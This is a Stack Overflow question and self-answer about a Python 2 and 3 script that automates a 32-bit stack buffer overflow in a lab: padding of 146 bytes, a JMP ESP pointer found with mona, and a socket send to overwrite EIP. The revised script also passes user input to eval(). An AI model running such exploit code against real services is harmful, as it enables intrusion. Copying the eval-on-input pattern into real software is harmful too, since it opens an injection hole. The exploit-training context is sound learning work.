0

Forgive me ahead of time. I know my code is sloppy and a bit hackish.

I am attempting to write a menu-based script for automating each step of a 32bit buffer overflow (as a little bit of backstory). Most of the steps I have automated without issue, but I am attempting to append a series of escaped hex characters to my buffer before sending it (see code below).

I've written my script for both Python 2.7 and Python 3 (using pwnlib for p32 little endian processing). I have since given up on Python 3, as it seems to be a little more tedious for the purposes of exploit writing. The problem I'm running into, is that the escaped hex characters, stored in a string variable, defined via raw_input, aren't being sent over the socket correctly.

If I hardcode the escaped hex characters, the script runs flawlessly I'm certain I've read a good amount to know that there is an issue with encoding of some kind, but I've been at this for a couple of days and at this point I'm beyond frustrated.

Python 2.7

#!/usr/bin/env python2
from binascii import *
import socket, os, time, shlex, subprocess, re, struct, sys, binascii
global RHOST, RPORT, RPORT_str, buf, buf_len, choice, s, command, pattern_create, match_offset, match_offset_str, badchars, eip_verification

def send_buf():
    global RHOST, RPORT, RPORT_str, buf, buf_len, choice, s, command, pattern_create, match_offset, match_offset_str, badchars, eip_verification    
    
    while True:
        try:    
            # connect to socket
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((RHOST,RPORT))

            # send buffer fuzz
            s.send(buf + "\n")
            # print out sent block
            print "Sent: {0}".format(buf)
            break
        except:
            print "Failed to connect to server."
            pause = raw_input("Press any key to continue...")

RHOST = "10.0.0.2"
RPORT = 31337
match_offset = 146
command = ""

print "[6] Finding the Right Module"
print 30 * "-" , "README" , 30 * "-"
print "Within Immunity Debugger, type the following: \n"
print "!mona modules \n"
print "Note the base address and module name for the module with least protections listed."
print "The idea here is to locate the JMP ESP address used by this module, and overwrite the EIP with that address."
print "!mona find -s \"\\xff\\xe4\" -m <module_name>" 

pointer = raw_input("Enter the pointer address used by the vulnerable module with least protections: ")
print pointer
print "Convert the string above to little endian. (I.E 0x080414c3 -> \\xc3\\x14\\x04\\x08) "

le_pointer = raw_input("Little-endian: ")
#le_pointer = le_pointer.decode("unicode_escape")
buf = command + ("A" * match_offset) + le_pointer
print buf
send_buf()

Hardcoding le_pointer works just fine, but I'd like to understand why it doesn't when accepting input from raw_input. Both objects are strings, so I have a fundamental misunderstanding somewhere.

I'm sure I'll have to elaborate further, but any help I can get solving this would be most appreciated.

Is there a better solution for accepting a pointer address (ie: 0x080414c3) via user input, converting it to escaped hex, reversing byte order (for little-endian architecture), and appending that to the buffer in a way that will be correctly sent over the socket?

Hardcoding le_pointer as such works correctly. le_pointer = "\xc3\x14\x04\x08"

odinsec
  • 1
  • 1
  • 2
  • It only makes sense to talk about escaped characters in the context of a string constant in your code. There's no such thing as "escaped hex characters" when accepting input from `raw_input`. Are you entering the escape sequences literally when your program asks for input? That won't work. Whatever you're entering at a prompt will be treated like regular characters, and any escape sequences you enter won't be interpreted as such. – CryptoFool Nov 09 '20 at 07:14
  • @Steve I had attempted to simplify the process through the use of pwntools p32(address) function in an alternate version of this script to automate it, but scrapped it and decided to go back to Python 2.7 and simply accept a manual conversion of the pointer address to little-endian via user input. When prompted, I literally type the escaped hex sequence shown above. Thanks for your help! – odinsec Nov 09 '20 at 07:20
  • The assertion that Python 3 is somehow harder seems quite weird. You probably bumped into some `bytes` vs `str` problems but once you understand them, they should be straightforward to sort out. See e.g. https://nedbatchelder.com/text/unipain.html. You really want to abandon Python 2 at your earliest opportunity. – tripleee Nov 09 '20 at 08:52
  • In Python 3, `binascii.unhexlify("080414c3")` produces `b'\x08\x04\x14\xc3'`; is this what you are asking? (Probably reduce your question to a [mre].) In Python 2, try `"080414c3".decode("hex")`; maybe see also https://stackoverflow.com/questions/12917278/how-to-use-the-hex-encoding-in-python-3-2-or-higher though it goes in the other direction. – tripleee Nov 09 '20 at 08:57
  • @tripleee Took your criticism and learned from it. I did indeed have a fundamental misunderstanding between `bytes` and `str`. Solving that issue, in combination with utilizing Python 3, the pwntools p32 module, and encoding every string instead of trying to mix and match everything solved my problems. Thank you sir. @Steve Much appreciated man. – odinsec Nov 10 '20 at 05:22

1 Answers1

0

For anyone struggling to accomplish the same or similar task as me, that also has difficulty with Str and Byte objects, or is attempting to convert a Python 2.7 exploit to Python 3, I found it was best to convert all string objects to bytes via string.encode() and just work with those instead.

I accomplished my goal through the use of Python 3 (as recommended by @tripleee), the pwntools module p32, converting all strings to bytes, and working with those instead of strings as I commonly did in Python 2.7.

Thank you to @tripleee and @steve for your help in clarifying a few misunderstandings on my part, and attempting to help me solve this problem. Below is my revised code, for Python 3.

#!/usr/bin/env python3
from pwn import *
# import socket, shlex, subprocess, six, binascii, os, time, sys, pwnlib
global RHOST, RPORT, RPORT_str, buf, buf_len, choice, s, command, pattern_create, match_offset, match_offset_str, badchars, eip_verification

def send_buf():
    global RHOST, RPORT, RPORT_str, buf, buf_len, choice, s, command, pattern_create, match_offset, match_offset_str, badchars, eip_verification    
    
    while True:
        try:    
            # connect to socket
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((RHOST,RPORT))


            # send buffer fuzz
            s.send(buf)
            # print out sent block
            print("Sent: {0}".format(buf))
            break
        except:
            print("Failed to connect to server.")
            pause = input("Press any key to continue...")

RHOST = "10.0.0.41"
RPORT = 31337
match_offset = 146
command = ''.encode()

print("[6] Finding the Right Module")
print(30 * "-" , "README" , 30 * "-")
print("Within Immunity Debugger, type the following: \n")
print("!mona modules \n")

print("Note the base address and module name for the module with least protections listed.")

print("The idea here is to locate the JMP ESP address used by this module, and overwrite the EIP with that address.")

print("!mona find -s \"\\xff\\xe4\" -m <module_name>") 

pointer = eval(input("Enter the JMP ESP pointer address used by the vulnerable module with least protections: "))


le_pointer = p32(pointer)
print(le_pointer)

newline = "\n".encode()
pad = ("A" * match_offset).encode()
pre_buf = command + pad
buf = pre_buf + le_pointer + newline

print(buf)
pause = input("Ensure immunity is running, attached, and breakpoint is configured to halt program upon JMP ESP trigger: ")
send_buf()
odinsec
  • 1
  • 1
  • 2